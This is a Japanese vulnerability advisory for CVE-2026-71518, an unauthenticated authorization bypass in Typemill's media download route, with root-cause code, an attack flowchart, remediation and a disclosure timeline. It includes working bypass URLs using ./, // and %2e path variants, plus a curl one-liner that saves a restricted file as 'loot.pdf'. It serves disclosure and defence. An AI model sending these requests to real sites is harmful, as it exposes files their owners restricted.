
Typemill メディアダウンロードにおける未認証の認可バイパスに関するアドバイザリと、パス等価の URL バリアントを使用してロール制限付きファイルにアクセスする PoC。
制限は生のリクエストパスに基づいて判定される一方、ファイルは OS 解決後のパスから読み込まれる — その2つは一致しない
概要 · サマリー · 根本原因 · 攻撃チェーン · エクスプロイト · 対策 · タイムライン
Typemill では、管理者が media/files/filerestrictions.yaml を通じて個々のメディアファイルを特定のユーザーロールに制限できます。公開ダウンロードルートはその制限を尊重するはずですが、ファイルシステム解決後のパスからバイトを配信する一方で、制限のチェックは生のリクエストパスに対して行われます。同じファイルには多くのパス等価な表記(./name、//name、%2e/name)が存在するため、攻撃者は制限キーに一致しないもののディスク上では同じファイルに解決されるバリアントを選択します。
このルートには認証ミドルウェアが一切ないため、結果として、ロールに明示的にロックされたファイルが完全に未認証でダウンロード可能になります。
ダウンロードルートは公開されています — 認証ミドルウェアはありません:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
system/typemill/Controllers/ControllerWebDownload.php 内では、アクセス制御の判定とファイル読み込みが同じパスの2つの異なる表現を使用しています:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() はリテラルな .. シーケンスのみを拒否します — ./ や // を正規化せず、パーセントエンコードされた同等表現も拒否しません。そのため、制限キーと実際に読み込まれるファイルの同期が崩れます:
このバグは、*「認可判定とリソースアクセスが、攻撃者が制御可能な異なる文字列に基づいて行われる」*という古典的なパターン(CWE-639/CWE-863)です。$_SERVER['REQUEST_URI'] は Apache 環境でも生のまま保持されるため、特定のサーバーに限った問題ではありません。
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml で特定のロールに制限します。exploit/exploit.py は、ローカルのテストコンテナに対してこの問題をエンドツーエンドで再現します。(1) 「admin」が editor ロールに制限されたプライベートファイルを配置し、(2) 正規の URL が匿名ユーザーに対してブロックされることを確認し、(3) 各パス等価バリアントを通じて同じファイルをダウンロードします。
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
期待される出力:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
脆弱なホストに対するワンライナー(許可されたテストのみ):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() で解決し、メディアのベースディレクトリ配下に収まっていることを確認し、パーセントエンコードされたパス区切り文字を拒否します。| 日付 | イベント |
|---|---|
| 2026-08-04 | Typemill 2.25.0 で脆弱性を発見。Docker 上で PoC をエンドツーエンドで検証 |
| 2026-08-04 | メンテナー / VulnCheck に報告 |
| — | Typemill で修正 |
許可されたセキュリティテストおよび教育目的のみに使用してください。© @IlhomjonR
| CVE ID | CVE-2026-71518 |
| 製品 | typemill/typemill — Typemill(フラットファイル PHP CMS、Slim 4) |
| 影響を受けるバージョン | 全バージョン < 2.26.0(2.25.0、コミット 8f3901c で検証) |
| 修正バージョン | 2.26.0 |
| 脆弱性の種類 | CWE-863(不正な認可)· CWE-639(ユーザー制御キーによる認可バイパス) |
| CVSS v3.1 | 7.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — High |
| 攻撃条件 | ネットワーク · 認証不要 · ユーザー操作不要 |
| 影響 | 管理者が特権ロールに制限したメディアファイルの未認証ダウンロード |
| 研究者 | Ilhomjon Rustamov (@IlhomjonR) |
| リクエストパス | 制限キーに一致? | ディスク上で解決されるファイル | 結果 |
|---|
/media/files/secret.pdf | ✅ 一致 | secret.pdf | 🔒 ブロック (302 → ログイン) |
/media/files/./secret.pdf | ❌ 不一致 | secret.pdf | 🟢 配信 (200) |
/media/files//secret.pdf | ❌ 不一致 | secret.pdf | 🟢 配信 (200) |
/media/files/%2e/secret.pdf | ❌ 不一致 | secret.pdf | 🟢 配信 (200) |
| 2026-08-18 | CVE-2026-71518 公開。アドバイザリ + PoC をリリース |